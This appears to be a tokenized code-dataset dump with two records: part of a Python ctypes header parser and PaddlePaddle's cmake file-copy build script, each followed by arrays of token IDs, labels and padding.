pass self.enumerators.append((e.name, value)) value += 1 def get_required_type_names(self): return [] def visit(self, visitor): visitor.visit_enum(self) def __str__(self): return 'enum_%s' % self.tag class CtypesParser(CParser): '''Parse a C file for declarations that can be used by ctypes. Subclass and override the handle_ctypes_* methods. ''' def handle_define(self, name, value, filename, lineno): # Handle #define style of typedeffing. # XXX At the moment, just a hack for `int`, which is used by # Status and Bool in Xlib.h. More complete functionality would # parse value as a type (back into cparser). if value == 'int': t = CtypesType('c_int') self.handle_ctypes_type_definition( name, t, filename, lineno) def handle_define_constant(self, name, value, filename, lineno): if name in reserved_names: name += '_' self.handle_ctypes_constant(name, value, filename, lineno) def handle_declaration(self, declaration, filename, lineno): t = get_ctypes_type(declaration.type, declaration.declarator) declarator = declaration.declarator if declarator is None: # XXX TEMPORARY while struct with no typedef not filled in return while declarator.pointer: declarator = declarator.pointer name = declarator.identifier if declaration.storage == 'typedef': self.handle_ctypes_type_definition( name, remove_function_pointer(t), filename, lineno) elif type(t) == CtypesFunction: self.handle_ctypes_function( name, t.restype, t.argtypes, filename, lineno) elif declaration.storage != 'static': self.handle_ctypes_variable(name, t, filename, lineno) # ctypes parser interface. Override these methods in your subclass. def handle_ctypes_constant(self, name, value, filename, lineno): pass def handle_ctypes_type_definition(self, name, ctype, filename, lineno): pass def handle_ctypes_function(self, name, restype, argtypes, filename, lineno): pass def handle_ctypes_variable(self, name, ctype, filename, lineno): pass
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 2344, 199, 2344, 199, 199, 363, 21841, 363, 275, 283, 26854, 7, 199, 363, 1023, 363, 275, 4505, 1304, 12913, 199, 199, 504, 286, 2087, 492, 627, 199, 199, 9798, 63, 466, 63, 1130, 275, 469, 1362, 327, 19151, 10514, 221, 6132, 458, 272, 661, 1647, 297, 259, 715, 12, 257, 378, 304, 283, 403, 297, 272, 661, 442, 297, 258, 715, 12, 257, 378, 304, 283, 67, 63, 442, 297, 272, 661, 442, 297, 258, 756, 12, 221, 378, 304, 283, 67, 63, 1635, 297, 272, 661, 442, 297, 258, 715, 12, 257, 413, 304, 283, 67, 63, 2809, 297, 272, 661, 442, 297, 258, 756, 12, 221, 413, 304, 283, 67, 63, 15688, 297, 272, 661, 442, 297, 258, 715, 12, 257, 499, 304, 283, 67, 63, 2809, 2809, 297, 272, 661, 442, 297, 258, 756, 12, 221, 499, 304, 283, 67, 63, 32020, 297, 272, 661, 1560, 297, 259, 715, 12, 257, 378, 304, 283, 67, 63, 1560, 297, 272, 661, 1560, 297, 259, 756, 12, 221, 378, 304, 283, 67, 63, 20790, 297, 272, 661, 3612, 297, 257, 715, 12, 257, 378, 304, 283, 67, 63, 3612, 297, 272, 661, 3612, 297, 257, 756, 12, 221, 378, 304, 283, 67, 63, 27170, 297, 272, 661, 1609, 297, 257, 715, 12, 257, 378, 304, 283, 67, 63, 1609, 297, 272, 661, 3157, 297, 221, 715, 12, 257, 378, 304, 283, 67, 63, 3157, 297, 272, 661, 890, 63, 84, 297, 221, 715, 12, 257, 378, 304, 283, 67, 63, 890, 63, 84, 297, 272, 661, 442, 24, 63, 84, 297, 221, 715, 12, 257, 378, 304, 283, 67, 63, 442, 24, 297, 272, 661, 442, 975, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 442, 975, 297, 272, 661, 442, 708, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 442, 708, 297, 272, 661, 442, 772, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 442, 772, 297, 272, 661, 1635, 24, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 1635, 24, 297, 272, 661, 1635, 975, 63, 84, 297, 549, 12, 257, 378, 304, 283, 67, 63, 1635, 975, 297, 272, 661, 1635, 708, 63, 84, 297, 549, 12, 257, 378, 304, 283, 67, 63, 1635, 708, 297, 272, 661, 1635, 772, 63, 84, 297, 549, 12, 257, 378, 304, 283, 67, 63, 1635, 772, 297, 272, 661, 23118, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 23118, 297, 272, 661, 4695, 3028, 63, 84, 297, 549, 12, 221, 378, 304, 283, 67, 63, 4695, 3028, 63, 84, 297, 221, 327, 15127, 5492, 315, 19789, 199, 93, 199, 199, 10421, 63, 1247, 275, 788, 403, 297, 283, 549, 297, 283, 797, 418, 199, 199, 318, 664, 63, 9798, 63, 466, 8, 9749, 12, 13507, 707, 304, 272, 10514, 275, 715, 272, 19151, 275, 283, 442, 7, 272, 6132, 458, 275, 378, 272, 307, 275, 488, 272, 367, 16628, 315, 6211, 14, 31659, 26, 267, 340, 1228, 8, 20723, 12, 13039, 804, 6154, 3895, 304, 288, 307, 275, 445, 1313, 4836, 8, 20723, 9, 267, 916, 1228, 8, 20723, 12, 11305, 6154, 3895, 304, 288, 307, 275, 445, 1313, 5081, 8, 20723, 9, 267, 916, 16628, 508, 283, 1737, 356, 288, 10514, 275, 715, 267, 916, 16628, 508, 283, 2244, 356, 288, 10514, 275, 756, 267, 916, 16628, 508, 283, 2809, 356, 288, 6132, 458, 847, 413, 267, 587, 26, 288, 19151, 275, 620, 8, 20723, 9, 272, 340, 440, 307, 26, 267, 5577, 63, 354, 275, 5577, 63, 466, 63, 1130, 14, 362, 1332, 18596, 12, 10514, 12, 6132, 458, 395, 19151, 9, 267, 307, 275, 445, 1313, 804, 8, 9798, 63, 354, 9, 339, 1830, 13507, 707, 436, 13507, 707, 14, 3929, 26, 267, 340, 13507, 707, 14, 3214, 365, 440, 488, 26, 288, 307, 275, 445, 1313, 3481, 8, 84, 12, 13507, 707, 14, 3214, 9, 267, 282, 275, 13507, 707, 14, 1144, 267, 1830, 282, 26, 288, 307, 275, 445, 1313, 3836, 8, 84, 12, 282, 14, 890, 9, 288, 282, 275, 282, 14, 1144, 398, 340, 730, 8, 84, 9, 508, 445, 1313, 804, 436, 307, 14, 354, 508, 283, 67, 63, 1560, 356, 288, 307, 275, 445, 1313, 804, 360, 67, 63, 1560, 63, 80, 358, 267, 916, 730, 8, 84, 9, 508, 445, 1313, 804, 436, 307, 14, 354, 508, 283, 67, 63, 23118, 356, 288, 307, 275, 445, 1313, 804, 360, 67, 63, 23118, 63, 80, 358, 267, 587, 26, 288, 307, 275, 445, 1313, 12190, 8, 84, 12, 13507, 707, 14, 537, 26765, 9, 267, 13507, 707, 275, 13507, 707, 14, 3929, 272, 340, 13507, 707, 436, 13507, 707, 14, 3214, 365, 440, 488, 26, 267, 307, 275, 445, 1313, 3481, 8, 84, 12, 13507, 707, 14, 3214, 9, 272, 340, 13507, 707, 26, 267, 282, 275, 13507, 707, 14, 1144, 267, 1830, 282, 26, 288, 307, 275, 445, 1313, 3836, 8, 84, 12, 282, 14, 890, 9, 288, 282, 275, 282, 14, 1144, 272, 372, 307, 1362, 199, 3, 5852, 1373, 2166, 402, 2539, 4017, 687, 9627, 296, 7849, 27, 4346, 367, 730, 8710, 199, 3, 436, 805, 2633, 14, 199, 318, 2813, 63, 1593, 63, 3929, 8, 84, 304, 272, 340, 730, 8, 84, 9, 508, 445, 1313, 12190, 436, 730, 8, 84, 14, 6881, 9, 508, 445, 1313, 3481, 26, 267, 372, 307, 14, 6881, 272, 916, 730, 8, 84, 9, 508, 445, 1313, 12190, 26, 267, 307, 14, 6881, 275, 2813, 63, 1593, 63, 3929, 8, 84, 14, 6881, 9, 267, 372, 307, 272, 587, 26, 267, 372, 307, 199, 199, 533, 445, 1313, 804, 18324, 8, 785, 304, 272, 347, 5684, 63, 1820, 8, 277, 12, 2702, 304, 267, 986, 339, 347, 5684, 63, 4869, 8, 277, 12, 4952, 304, 267, 986, 199, 199, 533, 445, 1313, 804, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 536, 304, 267, 291, 14, 354, 275, 536, 339, 347, 664, 63, 2427, 63, 466, 63, 1247, 8, 277, 304, 267, 1449, 1767, 1006, 730, 1561 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 2344, 199, 2344, 199, 199, 363, 21841, 363, 275, 283, 26854, 7, 199, 363, 1023, 363, 275, 4505, 1304, 12913, 199, 199, 504, 286, 2087, 492, 627, 199, 199, 9798, 63, 466, 63, 1130, 275, 469, 1362, 327, 19151, 10514, 221, 6132, 458, 272, 661, 1647, 297, 259, 715, 12, 257, 378, 304, 283, 403, 297, 272, 661, 442, 297, 258, 715, 12, 257, 378, 304, 283, 67, 63, 442, 297, 272, 661, 442, 297, 258, 756, 12, 221, 378, 304, 283, 67, 63, 1635, 297, 272, 661, 442, 297, 258, 715, 12, 257, 413, 304, 283, 67, 63, 2809, 297, 272, 661, 442, 297, 258, 756, 12, 221, 413, 304, 283, 67, 63, 15688, 297, 272, 661, 442, 297, 258, 715, 12, 257, 499, 304, 283, 67, 63, 2809, 2809, 297, 272, 661, 442, 297, 258, 756, 12, 221, 499, 304, 283, 67, 63, 32020, 297, 272, 661, 1560, 297, 259, 715, 12, 257, 378, 304, 283, 67, 63, 1560, 297, 272, 661, 1560, 297, 259, 756, 12, 221, 378, 304, 283, 67, 63, 20790, 297, 272, 661, 3612, 297, 257, 715, 12, 257, 378, 304, 283, 67, 63, 3612, 297, 272, 661, 3612, 297, 257, 756, 12, 221, 378, 304, 283, 67, 63, 27170, 297, 272, 661, 1609, 297, 257, 715, 12, 257, 378, 304, 283, 67, 63, 1609, 297, 272, 661, 3157, 297, 221, 715, 12, 257, 378, 304, 283, 67, 63, 3157, 297, 272, 661, 890, 63, 84, 297, 221, 715, 12, 257, 378, 304, 283, 67, 63, 890, 63, 84, 297, 272, 661, 442, 24, 63, 84, 297, 221, 715, 12, 257, 378, 304, 283, 67, 63, 442, 24, 297, 272, 661, 442, 975, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 442, 975, 297, 272, 661, 442, 708, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 442, 708, 297, 272, 661, 442, 772, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 442, 772, 297, 272, 661, 1635, 24, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 1635, 24, 297, 272, 661, 1635, 975, 63, 84, 297, 549, 12, 257, 378, 304, 283, 67, 63, 1635, 975, 297, 272, 661, 1635, 708, 63, 84, 297, 549, 12, 257, 378, 304, 283, 67, 63, 1635, 708, 297, 272, 661, 1635, 772, 63, 84, 297, 549, 12, 257, 378, 304, 283, 67, 63, 1635, 772, 297, 272, 661, 23118, 63, 84, 297, 715, 12, 257, 378, 304, 283, 67, 63, 23118, 297, 272, 661, 4695, 3028, 63, 84, 297, 549, 12, 221, 378, 304, 283, 67, 63, 4695, 3028, 63, 84, 297, 221, 327, 15127, 5492, 315, 19789, 199, 93, 199, 199, 10421, 63, 1247, 275, 788, 403, 297, 283, 549, 297, 283, 797, 418, 199, 199, 318, 664, 63, 9798, 63, 466, 8, 9749, 12, 13507, 707, 304, 272, 10514, 275, 715, 272, 19151, 275, 283, 442, 7, 272, 6132, 458, 275, 378, 272, 307, 275, 488, 272, 367, 16628, 315, 6211, 14, 31659, 26, 267, 340, 1228, 8, 20723, 12, 13039, 804, 6154, 3895, 304, 288, 307, 275, 445, 1313, 4836, 8, 20723, 9, 267, 916, 1228, 8, 20723, 12, 11305, 6154, 3895, 304, 288, 307, 275, 445, 1313, 5081, 8, 20723, 9, 267, 916, 16628, 508, 283, 1737, 356, 288, 10514, 275, 715, 267, 916, 16628, 508, 283, 2244, 356, 288, 10514, 275, 756, 267, 916, 16628, 508, 283, 2809, 356, 288, 6132, 458, 847, 413, 267, 587, 26, 288, 19151, 275, 620, 8, 20723, 9, 272, 340, 440, 307, 26, 267, 5577, 63, 354, 275, 5577, 63, 466, 63, 1130, 14, 362, 1332, 18596, 12, 10514, 12, 6132, 458, 395, 19151, 9, 267, 307, 275, 445, 1313, 804, 8, 9798, 63, 354, 9, 339, 1830, 13507, 707, 436, 13507, 707, 14, 3929, 26, 267, 340, 13507, 707, 14, 3214, 365, 440, 488, 26, 288, 307, 275, 445, 1313, 3481, 8, 84, 12, 13507, 707, 14, 3214, 9, 267, 282, 275, 13507, 707, 14, 1144, 267, 1830, 282, 26, 288, 307, 275, 445, 1313, 3836, 8, 84, 12, 282, 14, 890, 9, 288, 282, 275, 282, 14, 1144, 398, 340, 730, 8, 84, 9, 508, 445, 1313, 804, 436, 307, 14, 354, 508, 283, 67, 63, 1560, 356, 288, 307, 275, 445, 1313, 804, 360, 67, 63, 1560, 63, 80, 358, 267, 916, 730, 8, 84, 9, 508, 445, 1313, 804, 436, 307, 14, 354, 508, 283, 67, 63, 23118, 356, 288, 307, 275, 445, 1313, 804, 360, 67, 63, 23118, 63, 80, 358, 267, 587, 26, 288, 307, 275, 445, 1313, 12190, 8, 84, 12, 13507, 707, 14, 537, 26765, 9, 267, 13507, 707, 275, 13507, 707, 14, 3929, 272, 340, 13507, 707, 436, 13507, 707, 14, 3214, 365, 440, 488, 26, 267, 307, 275, 445, 1313, 3481, 8, 84, 12, 13507, 707, 14, 3214, 9, 272, 340, 13507, 707, 26, 267, 282, 275, 13507, 707, 14, 1144, 267, 1830, 282, 26, 288, 307, 275, 445, 1313, 3836, 8, 84, 12, 282, 14, 890, 9, 288, 282, 275, 282, 14, 1144, 272, 372, 307, 1362, 199, 3, 5852, 1373, 2166, 402, 2539, 4017, 687, 9627, 296, 7849, 27, 4346, 367, 730, 8710, 199, 3, 436, 805, 2633, 14, 199, 318, 2813, 63, 1593, 63, 3929, 8, 84, 304, 272, 340, 730, 8, 84, 9, 508, 445, 1313, 12190, 436, 730, 8, 84, 14, 6881, 9, 508, 445, 1313, 3481, 26, 267, 372, 307, 14, 6881, 272, 916, 730, 8, 84, 9, 508, 445, 1313, 12190, 26, 267, 307, 14, 6881, 275, 2813, 63, 1593, 63, 3929, 8, 84, 14, 6881, 9, 267, 372, 307, 272, 587, 26, 267, 372, 307, 199, 199, 533, 445, 1313, 804, 18324, 8, 785, 304, 272, 347, 5684, 63, 1820, 8, 277, 12, 2702, 304, 267, 986, 339, 347, 5684, 63, 4869, 8, 277, 12, 4952, 304, 267, 986, 199, 199, 533, 445, 1313, 804, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 536, 304, 267, 291, 14, 354, 275, 536, 339, 347, 664, 63, 2427, 63, 466, 63, 1247, 8, 277, 304, 267, 1449, 1767, 1006, 730, 1561, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PaddlePaddle/Paddle
cmake/copyfile.py
4
1469
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import sys import shutil import glob def main(): src = sys.argv[1] dst = sys.argv[2] if os.path.isdir(src): #copy directory pathList = os.path.split(src) dst = os.path.join(dst, pathList[-1]) if not os.path.exists(dst): shutil.copytree(src, dst) print("first copy directory: {0} --->>> {1}".format(src, dst)) else: shutil.rmtree(dst) shutil.copytree(src, dst) print("overwritten copy directory: {0} --->>> {1}".format(src, dst)) else: #copy file, wildcard if not os.path.exists(dst): os.makedirs(dst) srcFiles = glob.glob(src) for srcFile in srcFiles: shutil.copy(srcFile, dst) print("copy file: {0} --->>> {1}".format(srcFile, dst)) if __name__ == "__main__": main()
apache-2.0
[ 3, 257, 1898, 334, 67, 9, 14894, 510, 20101, 48, 20101, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 747, 199, 646, 984, 199, 646, 5145, 199, 646, 5739, 421, 199, 318, 2446, 837, 272, 2928, 275, 984, 14, 3020, 59, 17, 61, 272, 5042, 275, 984, 14, 3020, 59, 18, 61, 272, 340, 747, 14, 515, 14, 6027, 8, 2164, 304, 221, 327, 1574, 2082, 267, 931, 1296, 275, 747, 14, 515, 14, 1294, 8, 2164, 9, 267, 5042, 275, 747, 14, 515, 14, 904, 8, 5119, 12, 931, 1296, 1988, 17, 566, 267, 340, 440, 747, 14, 515, 14, 2444, 8, 5119, 304, 288, 5145, 14, 29296, 8, 2164, 12, 5042, 9, 288, 870, 480, 2246, 1331, 2082, 26, 469, 16, 93, 10894, 6071, 469, 17, 5469, 908, 8, 2164, 12, 5042, 430, 267, 587, 26, 288, 5145, 14, 9242, 8, 5119, 9, 288, 5145, 14, 29296, 8, 2164, 12, 5042, 9, 288, 870, 480, 1883, 8938, 1331, 2082, 26, 469, 16, 93, 10894, 6071, 469, 17, 5469, 908, 8, 2164, 12, 5042, 430, 272, 587, 26, 221, 327, 1574, 570, 12, 16792, 267, 340, 440, 747, 14, 515, 14, 2444, 8, 5119, 304, 288, 747, 14, 8347, 8, 5119, 9, 267, 2928, 5535, 275, 5739, 14, 6463, 8, 2164, 9, 267, 367, 2928, 1173, 315, 2928, 5535, 26, 288, 5145, 14, 1574, 8, 2164, 1173, 12, 5042, 9, 288, 870, 480, 1574, 570, 26, 469, 16, 93, 10894, 6071, 469, 17, 5469, 908, 8, 2164, 1173, 12, 5042, 430, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 257, 1898, 334, 67, 9, 14894, 510, 20101, 48, 20101, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 747, 199, 646, 984, 199, 646, 5145, 199, 646, 5739, 421, 199, 318, 2446, 837, 272, 2928, 275, 984, 14, 3020, 59, 17, 61, 272, 5042, 275, 984, 14, 3020, 59, 18, 61, 272, 340, 747, 14, 515, 14, 6027, 8, 2164, 304, 221, 327, 1574, 2082, 267, 931, 1296, 275, 747, 14, 515, 14, 1294, 8, 2164, 9, 267, 5042, 275, 747, 14, 515, 14, 904, 8, 5119, 12, 931, 1296, 1988, 17, 566, 267, 340, 440, 747, 14, 515, 14, 2444, 8, 5119, 304, 288, 5145, 14, 29296, 8, 2164, 12, 5042, 9, 288, 870, 480, 2246, 1331, 2082, 26, 469, 16, 93, 10894, 6071, 469, 17, 5469, 908, 8, 2164, 12, 5042, 430, 267, 587, 26, 288, 5145, 14, 9242, 8, 5119, 9, 288, 5145, 14, 29296, 8, 2164, 12, 5042, 9, 288, 870, 480, 1883, 8938, 1331, 2082, 26, 469, 16, 93, 10894, 6071, 469, 17, 5469, 908, 8, 2164, 12, 5042, 430, 272, 587, 26, 221, 327, 1574, 570, 12, 16792, 267, 340, 440, 747, 14, 515, 14, 2444, 8, 5119, 304, 288, 747, 14, 8347, 8, 5119, 9, 267, 2928, 5535, 275, 5739, 14, 6463, 8, 2164, 9, 267, 367, 2928, 1173, 315, 2928, 5535, 26, 288, 5145, 14, 1574, 8, 2164, 1173, 12, 5042, 9, 288, 870, 480, 1574, 570, 26, 469, 16, 93, 10894, 6071, 469, 17, 5469, 908, 8, 2164, 1173, 12, 5042, 430, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 